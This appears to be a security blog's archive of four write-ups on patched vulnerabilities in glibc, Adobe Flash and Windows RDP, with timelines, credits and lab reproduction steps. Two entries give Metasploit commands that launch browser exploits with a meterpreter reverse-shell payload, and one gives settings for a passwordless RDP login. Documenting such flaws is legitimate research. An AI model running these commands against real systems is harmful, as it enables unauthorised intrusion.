Category Archives: Exploits

All my posts regarding exploits, PoCs and 0days.

CVE-2015-7547 glibc getaddrinfo stack-based buffer overflow PoC

Exploits,

Timeline :

Vulnerability introduced in May 2008 as part of glibc 2.9
Vulnerability discovered and reported to the vendor by Robert Holiday the 2015-07-13
Vulnerability fixing in sleep mode from 2015-08-22 to 2016-02
Vulnerability re-discovered and reported to the vendor by Google team the beginning of 2016
Patch provided the 2016-02-16
Details of the vulnerability and PoC provided by Google the 2016-02-16

PoC provided by :

Robert Holiday
Fermin J. Serna
Gynvael Coldwind
Thomas Garnier

Reference(s) :

CVE-2015-7547

Affected version(s) :

All versions of glibc 2.9 until version 2.23

Tested on :

Ubuntu 15.10 with glibc 2.21

Description :

A stack-based buffer overflow was found in libresolv when invoked from libnss_dns, allowing specially crafted DNS responses to seize control of execution flow in the DNS client.  The buffer overflow occurs in the functions send_dg (send datagram) and send_vc (send TCP) for the NSS module libnss_dns.so.2 when calling getaddrinfo with AF_UNSPEC family. The use of AF_UNSPEC triggers the low-level resolver code to send out two parallel queries for A and AAAA.  A mismanagement of the buffers used for those queries could result in the response of a query writing beyond the alloca allocated buffer created by_nss_dns_gethostbyname4_r.  Buffer management is simplified to remove the overflow.  Thanks to the Google Security Team and Red Hat for reporting the security impact of this issue, and Robert Holiday of Ciena for reporting the related bug 18665. (CVE-2015-7547)

Commands :

aptitude show libc6
cat /etc/lsb-release
change you resolv.conf to 127.0.0.1
make
Start the server: python CVE-2015-7547-poc.py 
Launch the client: ./CVE-2015-7547-client

CVE-2015-0318 Adobe Flash Player PCRE Regex Vulnerability

Exploits, Metasploit, , ,

Timeline :

Vulnerability discovered and reported to the vendor by Mark Brand and Natalie Silvanovich of Google Project Zero the 2014-11-25
Patched by the vendor through APSB15-04 the 2015-02-05
Details of the vulnerability provided by Google Project Zero the 2015-02-12

PoC provided by :

Mark Brand
sinn3r

Reference(s) :

CVE-2015-0318
APSB15-04

Affected version(s) :

Adobe Flash Player 16.0.0.296 and earlier versions

Tested on :

Windows 7 SP1 with Internet Explorer 8 and Adobe Flash Player 16.0.0.235

Description :

This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error in the PCRE engine, specifically in the handling of the \c escape sequence when followed by a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.

Commands :

use exploit/windows/browser/adobe_flash_pcre
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
run

getuid

MS16-007 CVE-2016-0019 Windows RDP Security Bypass

Exploits, , , ,

Timeline :

Vulnerability discovered and reported to the vendor by Gal Goldshtein and Viktor Minin of Citadel
Patched by the vendor through MS16-007 the 2016-01-12
Details of the vulnerability provided by Michael Schierl @mihi42 the 2016-01-12

PoC provided by :

Michael Schierl

Reference(s) :

CVE-2016-0019
MS16-007

Affected version(s) :

Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 version 1511 for 32-bit Systems
Windows 10 version 1511 for x64-based Systems

Tested on :

Windows 10 for x64-based Systems with Microsoft Remote Desktop for Mac version 8.0.26

Description :

A security feature bypass vulnerability exists in Windows Remote Desktop Protocol (RDP) that is caused when Windows 10 hosts running RDP services fail to prevent remote logon to accounts that have no passwords set.

Demo :

- On the target Windows 10
Create a local user without password
Grant the created user RDP
- On the client
Add "enablecredsspsupport:i:0" in the ".RDP" file
Connect to the target with the username and without password

CVE-2015-0311 Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free

Exploits, Metasploit, , , , , ,

Timeline :

Vulnerability discovered exploited in the wild the 2015-01-21
Patched by the vendor the 2015-01-22
Metasploit PoC provided the 2015-03-09

PoC provided by :

Unknown
hdarwin
juan vazquez

Reference(s) :

CVE-2015-0311
APSA15-01

Affected version(s) :

Adobe Flash Player 16.0.0.287 and earlier versions for Windows and Macintosh
Adobe Flash Player 13.0.0.262 and earlier 13.x versions
Adobe Flash Player 11.2.202.438 and earlier versions for Linux

Tested on :

Windows 7 SP1 and Internet Explorer 8 with Adobe Flash Player 16.0.0.287

Description :

This module exploits a use after free vulnerability in Adobe Flash Player. The vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying to uncompress() a malformed byte stream. This module has been tested successfully on:
* Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and 16.0.0.235. * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 16.0.0.287.
* Windows 8.1, Firefox 38.0.5 and Adobe Flash 16.0.0.305.
* Linux Mint “Rebecca” (32 bits), Firefox 33.0 and Flash 11.2.202.424.

Commands :

use exploit/multi/browser/adobe_flash_uncompress_zlib_uaf
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
run

getuid